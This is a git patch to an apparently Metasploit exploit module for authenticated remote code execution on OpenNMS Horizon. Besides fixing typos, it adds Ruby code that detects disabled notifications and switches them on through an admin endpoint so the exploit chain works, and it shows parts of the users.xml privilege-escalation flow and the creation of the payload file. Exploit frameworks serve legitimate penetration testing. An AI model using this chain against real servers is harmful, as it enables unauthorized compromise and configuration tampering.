From 149dc15b2187071c185fc2d84d1fec0cd57f7164 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 20 Mar 2024 11:33:15 -0700 Subject: [PATCH] Add check to see if notifications are enabled --- .../http/opennms_horizon_authenticated_rce.md | 2 +- .../http/opennms_horizon_authenticated_rce.rb | 31 ++++++++++++++++++- 2 files changed, 31 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md b/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md index 95021704826b..8ca793b06656 100644 --- a/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md +++ b/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md @@ -4,7 +4,7 @@ For versions 32.0.2 and higher, this module requires valid credentials for a use with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST. For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges. -The module first tries to authenticated to the target in order to verify the credentials and obtain the OpenNMS version. +The module first tries to authenticate to the target in order to verify the credentials and obtain the OpenNMS version. Next, the module attempts to obtain the privileges for the current user via the `/rest/users` endpoint and if that fails, via `/rest/filesystem/contents?f=users.xml`. diff --git a/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb b/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb index 3fc498ceddb8..7f4077a99db2 100644 --- a/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb +++ b/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb @@ -452,7 +452,7 @@ def escalate_or_deescalate_privs(deescalate: false) # upload the edited users.xml file via the filesystem endpoint success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode) unless deescalate - # If we have escalated privileges via the filesytem, we need to wait a few seconds for the changes to be saved + # If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...") sleep(privesc_save_delay) end @@ -834,6 +834,32 @@ def execute_command(cmd, _opts = {}) end end + # Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled + # in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on. + # https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html + def ensure_notifications_enabled + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.jsp'), + 'keep_cookies' => true + }) + fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res + + if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty? + vprint_status("Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...") + res2 = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'), + 'keep_cookies' => true, + 'vars_post' => { + 'status' => 'on' + } + }) + fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp') + end + vprint_good("Notifications are enabled") + end + def exploit # Check if we need to escalate privileges if @highest_priv && @highest_priv != 'GOD' @@ -847,6 +873,9 @@ def exploit _success, message = opennms_login('exploit') vprint_status(message) # _success will always be true here, otherwise we would have failed already + # Check to ensure Notifications are turned on. If they are disabled, enable them. + ensure_notifications_enabled + # Generate a random payload file name @payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase